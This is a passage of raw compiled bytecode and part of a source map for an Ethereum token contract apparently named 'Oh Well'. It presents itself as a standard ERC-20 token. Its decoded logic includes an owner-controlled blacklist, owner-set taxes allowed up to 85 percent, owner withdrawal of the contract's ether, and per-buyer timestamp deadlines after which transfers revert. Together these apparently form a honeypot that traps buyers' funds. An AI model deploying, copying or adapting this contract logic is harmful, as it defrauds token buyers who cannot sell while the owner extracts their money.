190612ce0565b60405180910390f35b34801561043c57600080fd5b5061045760048036038101906104529190612e1e565b610c82565b005b34801561046557600080fd5b50610480600480360381019061047b9190612c85565b610dc8565b005b34801561048e57600080fd5b50610497610e97565b6040516104a5929190612e5e565b60405180910390f35b3480156104ba57600080fd5b506104d560048036038101906104d09190612e87565b610ec3565b005b3480156104e357600080fd5b506104fe60048036038101906104f99190612d74565b610fcc565b60405161050b9190612b1a565b60405180910390f35b34801561052057600080fd5b50610529611015565b005b34801561053757600080fd5b5061054061109d565b60405161054d9190612ec3565b60405180910390f35b34801561056257600080fd5b5061057d60048036038101906105789190612d74565b6110c3565b60405161058a9190612ce0565b60405180910390f35b34801561059f57600080fd5b506105a86110e3565b6040516105b59190612b1a565b60405180910390f35b3480156105ca57600080fd5b506105d36110e9565b6040516105e09190612ec3565b60405180910390f35b3480156105f557600080fd5b506105fe611112565b60405161060b9190612bc5565b60405180910390f35b34801561062057600080fd5b5061063b60048036038101906106369190612c85565b61114f565b6040516106489190612ce0565b60405180910390f35b34801561065d57600080fd5b506106666111fb565b6040516106739190612ec3565b60405180910390f35b34801561068857600080fd5b506106a3600480360381019061069e9190612c85565b611221565b6040516106b09190612ce0565b60405180910390f35b3480156106c557600080fd5b506106e060048036038101906106db9190612d34565b61123f565b005b3480156106ee57600080fd5b506106f76113a5565b604051610705929190612e5e565b60405180910390f35b34801561071a57600080fd5b5061073560048036038101906107309190612f0a565b6113d1565b005b34801561074357600080fd5b5061075e6004803603810190610759919061307f565b61146a565b005b34801561076c57600080fd5b50610787600480360381019061078291906130db565b61157b565b6040516107949190612b1a565b60405180910390f35b3480156107a957600080fd5b506107b2611602565b6040516107bf9190612ce0565b60405180910390f35b3480156107d457600080fd5b506107ef60048036038101906107ea9190612d74565b611615565b6040516107fc9190612b1a565b60405180910390f35b34801561081157600080fd5b5061081a61162d565b6040516108279190612b1a565b60405180910390f35b34801561083c57600080fd5b5061085760048036038101906108529190612d74565b611633565b005b34801561086557600080fd5b50610880600480360381019061087b919061311b565b61172a565b005b34801561088e57600080fd5b50610897611801565b6040516108a491906131ba565b60405180910390f35b3480156108b957600080fd5b506108c2611827565b6040516108cf9190612b1a565b60405180910390f35b3480156108e457600080fd5b506108ed61182d565b6040516108fb9291906131d5565b60405180910390f35b600d5481565b60606040518060400160405280600781526020017f4f682057656c6c00000000000000000000000000000000000000000000000000815250905090565b600061095b61095461183f565b8484611847565b6001905092915050565b6000600c54905090565b61097761183f565b73ffffffffffffffffffffffffffffffffffffffff166109956110e9565b73ffffffffffffffffffffffffffffffffffffffff16146109eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e29061324a565b60405180910390fd5b600081836109f99190613299565b60ff1690506014811115610a42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a399061331a565b60405180910390fd5b60405180604001604052808460ff1681526020018360ff16815250601260008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff1602179055509050507ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48060405160405180910390a1505050565b60076020528060005260406000206000915054906101000a900460ff1681565b6000610b02848484611a10565b610ba284610b0e61183f565b84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b5861183f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b9d919061333a565b611847565b600190509392505050565b60066020528060005260406000206000915054906101000a900460ff1681565b60006009905090565b6000610c78610be361183f565b848460046000610bf161183f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c73919061336e565b611847565b6001905092915050565b610c8a61183f565b73ffffffffffffffffffffffffffffffffffffffff16610ca86110e9565b73ffffffffffffffffffffffffffffffffffffffff1614610cfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf59061324a565b60405180910390fd5b60006009600a610d0e91906134d5565b6103e86005600c54610d209190613520565b610d2a9190613591565b610d349190613591565b9050808310158015610d465750808210155b610d85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7c9061360e565b60405180910390fd5b6009600a610d9391906134d5565b83610d9e9190613520565b600e819055506009600a610db291906134d5565b82610dbd9190613520565b600f81905550505050565b610dd061183f565b73ffffffffffffffffffffffffffffffffffffffff16610dee6110e9565b73ffffffffffffffffffffffffffffffffffffffff1614610e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3b9061324a565b60405180910390fd5b8042610e50919061336e565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60128060000160009054906101000a900460ff16908060000160019054906101000a900460ff16905082565b610ecb61183f565b73ffffffffffffffffffffffffffffffffffffffff16610ee96110e9565b73ffffffffffffffffffffffffffffffffffffffff1614610f3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f369061324a565b60405180910390fd5b80471015610f82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f799061367a565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610fc8573d6000803e3d6000fd5b5050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61101d61183f565b73ffffffffffffffffffffffffffffffffffffffff1661103b6110e9565b73ffffffffffffffffffffffffffffffffffffffff1614611091576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110889061324a565b60405180910390fd5b61109b600061220d565b565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60056020528060005260406000206000915054906101000a900460ff1681565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017fc2af5c5f28e38384295f2fc2af00000000000000000000000000000000000000815250905090565b60006111f161115c61183f565b84846004600061116a61183f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111ec919061333a565b611847565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061123561122e61183f565b8484611a10565b6001905092915050565b61124761183f565b73ffffffffffffffffffffffffffffffffffffffff166112656110e9565b73ffffffffffffffffffffffffffffffffffffffff16146112bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b29061324a565b60405180910390fd5b600081836112c99190613299565b60ff1690506055811115611312576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113099061331a565b60405180910390fd5b60405180604001604052808460ff1681526020018360ff16815250601360008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff1602179055509050507ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48060405160405180910390a1505050565b60138060000160009054906101000a900460ff16908060000160019054906101000a900460ff16905082565b6113d961183f565b73ffffffffffffffffffffffffffffffffffffffff166113f76110e9565b73ffffffffffffffffffffffffffffffffffffffff161461144d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114449061324a565b60405180910390fd5b80600a60006101000a81548160ff02191690831515021790555050565b61147261183f565b73ffffffffffffffffffffffffffffffffffffffff166114906110e9565b73ffffffffffffffffffffffffffffffffffffffff16146114e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dd9061324a565b60405180910390fd5b60005b825181101561157657816007600085848151811061150a5761150961369a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061156e906136c9565b9150506114e9565b505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900460ff1681565b60086020528060005260406000206000915090505481565b600b5481565b61163b61183f565b73ffffffffffffffffffffffffffffffffffffffff166116596110e9565b73ffffffffffffffffffffffffffffffffffffffff16146116af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a69061324a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361171e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171590613783565b60405180910390fd5b6117278161220d565b50565b61173261183f565b73ffffffffffffffffffffffffffffffffffffffff166117506110e9565b73ffffffffffffffffffffffffffffffffffffffff16146117a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179d9061324a565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f5481565b60108060000154908060010154905082565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ad90613815565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191c906138a7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a039190612b1a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7690613939565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611aee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae5906139cb565b60405180910390fd5b60008111611b31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2890613a5d565b60405180910390fd5b600e5481111580611b8b5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611bca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc190613aef565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c6e5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca490613b5b565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611d5757600f5481611d0b84610fcc565b611d15919061336e565b1115611d56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4d90613bed565b60405180910390fd5b5b600d54611d6330610fcc565b10158015611d805750601554601654611d7c919061336e565b4210155b8015611d97575060148054906101000a900460ff16155b8015611df15750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e305750611e006110e9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e6f5750611e3f6110e9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e7d57611e7c6122d1565b5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ecc919061333a565b925050819055506000819050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f7c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561214c57611fdc8285600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614612443565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036120b757600a60009054906101000a900460ff16156120b257600b600081548092919061205b906136c9565b91905055506009544261206e919061336e565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61214b565b6000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461214a57600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421061214957600080fd5b5b5b5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461219b919061336e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121ff9190612b1a565b60405180910390a350505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60016014806101000a81548160ff0219169083151502179055506000601060000154111561238b57600061230960106000015461265f565b9050600081111561238957601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561237c573d6000803e3d6000fd5b5060006010600001819055505b505b600060106001015411156123f457600060026010600101546123ad9190613591565b90506000816010600101546123c2919061333a565b905060006123cf8361265f565b905060008111156123e5576123e482826128b9565b5b60006010600101819055505050505b7fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb7003060405160405180910390a14260168190555060006014806101000a81548160ff021916908315150217905550565b60008060126040518060400160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff1681525050905082156124df5760136040518060400160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff168152505090505b60006064826000015160ff16876124f69190613520565b6125009190613591565b905060006064836020015160ff16886125199190613520565b6125239190613591565b9050600082111561254b578160106000016000828254612543919061336e565b925050819055505b6000811115612571578060106001016000828254612569919061336e565b925050819055505b6000818361257f919061336e565b905080600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125d0919061336e565b925050819055506000811115612646573073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161263d9190612b1a565b60405180910390a35b8088612652919061333a565b9450505050509392505050565b6000804790506000600267ffffffffffffffff81111561268257612681612f3c565b5b6040519080825280602002602001820160405280156126b05781602001602082028036833780820191505090505b50905030816000815181106126c8576126c761369a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561276f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127939190613c22565b816001815181106127a7576127a661369a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061280e30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686611847565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612872959493929190613d48565b600060405180830381600087803b15801561288c57600080fd5b505af11580156128a0573d6000803e3d6000fd5b5050505081476128b0919061333a565b92505050919050565b6128e630600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611847565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198330866000806129346110e9565b426040518863ffffffff1660e01b815260040161295696959493929190613da2565b60606040518083038185885af1158015612974573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906129999190613e18565b50915050600081836129ab919061333a565b1115612a0857612a0781836129c0919061333a565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612a0d90919063ffffffff16565b5b505050565b80471015612a50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a4790613eb7565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff1682604051612a7690613f08565b60006040518083038185875af1925050503d8060008114612ab3576040519150601f19603f3d011682016040523d82523d6000602084013e612ab8565b606091505b5050905080612afc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612af390613f8f565b60405180910390fd5b505050565b6000819050919050565b612b1481612b01565b82525050565b6000602082019050612b2f6000830184612b0b565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b6f578082015181840152602081019050612b54565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b9782612b35565b612ba18185612b40565b9350612bb1818560208601612b51565b612bba81612b7b565b840191505092915050565b60006020820190508181036000830152612bdf8184612b8c565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c2682612bfb565b9050919050565b612c3681612c1b565b8114612c4157600080fd5b50565b600081359050612c5381612c2d565b92915050565b612c6281612b01565b8114612c6d57600080fd5b50565b600081359050612c7f81612c59565b92915050565b60008060408385031215612c9c57612c9b612bf1565b5b6000612caa85828601612c44565b9250506020612cbb85828601612c70565b9150509250929050565b60008115159050919050565b612cda81612cc5565b82525050565b6000602082019050612cf56000830184612cd1565b92915050565b600060ff82169050919050565b612d1181612cfb565b8114612d1c57600080fd5b50565b600081359050612d2e81612d08565b92915050565b60008060408385031215612d4b57612d4a612bf1565b5b6000612d5985828601612d1f565b9250506020612d6a85828601612d1f565b9150509250929050565b600060208284031215612d8a57612d89612bf1565b5b6000612d9884828501612c44565b91505092915050565b600080600060608486031215612dba57612db9612bf1565b5b6000612dc886828701612c44565b9350506020612dd986828701612c44565b9250506040612dea86828701612c70565b9150509250925092565b612dfd81612cfb565b82525050565b6000602082019050612e186000830184612df4565b92915050565b60008060408385031215612e3557612e34612bf1565b5b6000612e4385828601612c70565b9250506020612e5485828601612c70565b9150509250929050565b6000604082019050612e736000830185612df4565b612e806020830184612df4565b9392505050565b600060208284031215612e9d57612e9c612bf1565b5b6000612eab84828501612c70565b91505092915050565b612ebd81612c1b565b82525050565b6000602082019050612ed86000830184612eb4565b92915050565b612ee781612cc5565b8114612ef257600080fd5b50565b600081359050612f0481612ede565b92915050565b600060208284031215612f2057612f1f612bf1565b5b6000612f2e84828501612ef5565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612f7482612b7b565b810181811067ffffffffffffffff82111715612f9357612f92612f3c565b5b80604052505050565b6000612fa6612be7565b9050612fb28282612f6b565b919050565b600067ffffffffffffffff821115612fd257612fd1612f3c565b5b602082029050602081019050919050565b600080fd5b6000612ffb612ff684612fb7565b612f9c565b9050808382526020820190506020840283018581111561301e5761301d612fe3565b5b835b8181101561304757806130338882612c44565b845260208401935050602081019050613020565b5050509392505050565b600082601f83011261306657613065612f37565b5b8135613076848260208601612fe8565b91505092915050565b6000806040838503121561309657613095612bf1565b5b600083013567ffffffffffffffff8111156130b4576130b3612bf6565b5b6130c085828601613051565b92505060206130d185828601612ef5565b9150509250929050565b600080604083850312156130f2576130f1612bf1565b5b600061310085828601612c44565b925050602061311185828601612c44565b9150509250929050565b6000806040838503121561313257613131612bf1565b5b600061314085828601612c44565b925050602061315185828601612ef5565b9150509250929050565b6000819050919050565b600061318061317b61317684612bfb565b61315b565b612bfb565b9050919050565b600061319282613165565b9050919050565b60006131a482613187565b9050919050565b6131b481613199565b82525050565b60006020820190506131cf60008301846131ab565b92915050565b60006040820190506131ea6000830185612b0b565b6131f76020830184612b0b565b9392505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613234602083612b40565b915061323f826131fe565b602082019050919050565b6000602082019050818103600083015261326381613227565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006132a482612cfb565b91506132af83612cfb565b9250828201905060ff8111156132c8576132c761326a565b5b92915050565b7f43616e2774207365742074617820746f6f206869676800000000000000000000600082015250565b6000613304601683612b40565b915061330f826132ce565b602082019050919050565b60006020820190508181036000830152613333816132f7565b9050919050565b600061334582612b01565b915061335083612b01565b92508282039050818111156133685761336761326a565b5b92915050565b600061337982612b01565b915061338483612b01565b925082820190508082111561339c5761339b61326a565b5b92915050565b60008160011c9050919050565b6000808291508390505b60018511156133f9578086048111156133d5576133d461326a565b5b60018516156133e45780820291505b80810290506133f2856133a2565b94506133b9565b94509492505050565b60008261341257600190506134ce565b8161342057600090506134ce565b816001811461343657600281146134405761346f565b60019150506134ce565b60ff8411156134525761345161326a565b5b8360020a9150848211156134695761346861326a565b5b506134ce565b5060208310610133831016604e8410600b84101617156134a45782820a90508381111561349f5761349e61326a565b5b6134ce565b6134b184848460016133af565b925090508184048111156134c8576134c761326a565b5b81810290505b9392505050565b60006134e082612b01565b91506134eb83612cfb565b92506135187fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613402565b905092915050565b600061352b82612b01565b915061353683612b01565b925082820261354481612b01565b9150828204841483151761355b5761355a61326a565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061359c82612b01565b91506135a783612b01565b9250826135b7576135b6613562565b5b828204905092915050565b7f496e76616c69642053657474696e677300000000000000000000000000000000600082015250565b60006135f8601083612b40565b9150613603826135c2565b602082019050919050565b60006020820190508181036000830152613627816135eb565b9050919050565b7f496e73756666696369656e74204554482062616c616e63650000000000000000600082015250565b6000613664601883612b40565b915061366f8261362e565b602082019050919050565b6000602082019050818103600083015261369381613657565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006136d482612b01565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036137065761370561326a565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061376d602683612b40565b915061377882613711565b604082019050919050565b6000602082019050818103600083015261379c81613760565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006137ff602483612b40565b915061380a826137a3565b604082019050919050565b6000602082019050818103600083015261382e816137f2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613891602283612b40565b915061389c82613835565b604082019050919050565b600060208201905081810360008301526138c081613884565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613923602583612b40565b915061392e826138c7565b604082019050919050565b6000602082019050818103600083015261395281613916565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006139b5602383612b40565b91506139c082613959565b604082019050919050565b600060208201905081810360008301526139e4816139a8565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613a47602983612b40565b9150613a52826139eb565b604082019050919050565b60006020820190508181036000830152613a7681613a3a565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865205f6d617860008201527f5478416d6f756e742e0000000000000000000000000000000000000000000000602082015250565b6000613ad9602983612b40565b9150613ae482613a7d565b604082019050919050565b60006020820190508181036000830152613b0881613acc565b9050919050565b7f426c61636b6c69737465642c2063616e27742074726164650000000000000000600082015250565b6000613b45601883612b40565b9150613b5082613b0f565b602082019050919050565b60006020820190508181036000830152613b7481613b38565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785760008201527f616c6c65742e0000000000000000000000000000000000000000000000000000602082015250565b6000613bd7602683612b40565b9150613be282613b7b565b604082019050919050565b60006020820190508181036000830152613c0681613bca565b9050919050565b600081519050613c1c81612c2d565b92915050565b600060208284031215613c3857613c37612bf1565b5b6000613c4684828501613c0d565b91505092915050565b6000819050919050565b6000613c74613c6f613c6a84613c4f565b61315b565b612b01565b9050919050565b613c8481613c59565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613cbf81612c1b565b82525050565b6000613cd18383613cb6565b60208301905092915050565b6000602082019050919050565b6000613cf582613c8a565b613cff8185613c95565b9350613d0a83613ca6565b8060005b83811015613d3b578151613d228882613cc5565b9750613d2d83613cdd565b925050600181019050613d0e565b5085935050505092915050565b600060a082019050613d5d6000830188612b0b565b613d6a6020830187613c7b565b8181036040830152613d7c8186613cea565b9050613d8b6060830185612eb4565b613d986080830184612b0b565b9695505050505050565b600060c082019050613db76000830189612eb4565b613dc46020830188612b0b565b613dd16040830187613c7b565b613dde6060830186613c7b565b613deb6080830185612eb4565b613df860a0830184612b0b565b979650505050505050565b600081519050613e1281612c59565b92915050565b600080600060608486031215613e3157613e30612bf1565b5b6000613e3f86828701613e03565b9350506020613e5086828701613e03565b9250506040613e6186828701613e03565b9150509250925092565b7f416464726573733a20696e73756666696369656e742062616c616e6365000000600082015250565b6000613ea1601d83612b40565b9150613eac82613e6b565b602082019050919050565b60006020820190508181036000830152613ed081613e94565b9050919050565b600081905092915050565b50565b6000613ef2600083613ed7565b9150613efd82613ee2565b600082019050919050565b6000613f1382613ee5565b9150819050919050565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260008201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b6000613f79603a83612b40565b9150613f8482613f1d565b604082019050919050565b60006020820190508181036000830152613fa881613f6c565b905091905056fea2646970667358221220893eb90c677ce8a978057b1ac1232fb47ecf03ec3426d43378c8d6b818061d7464736f6c63430008110033

Deployed Bytecode Sourcemap

3341:10927:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4081:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5805:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6636:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6082:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8399:259;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3748:47;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6805:266;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3683:58;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5991:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7079:215;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8938:386;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9656:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4597:29;;;;;;;;;;;;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;9332:200;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6185:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1330:94;;;;;;;;;;;;;:::i;:::-;;4673:75;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3625:51;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4143:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1107:87;;;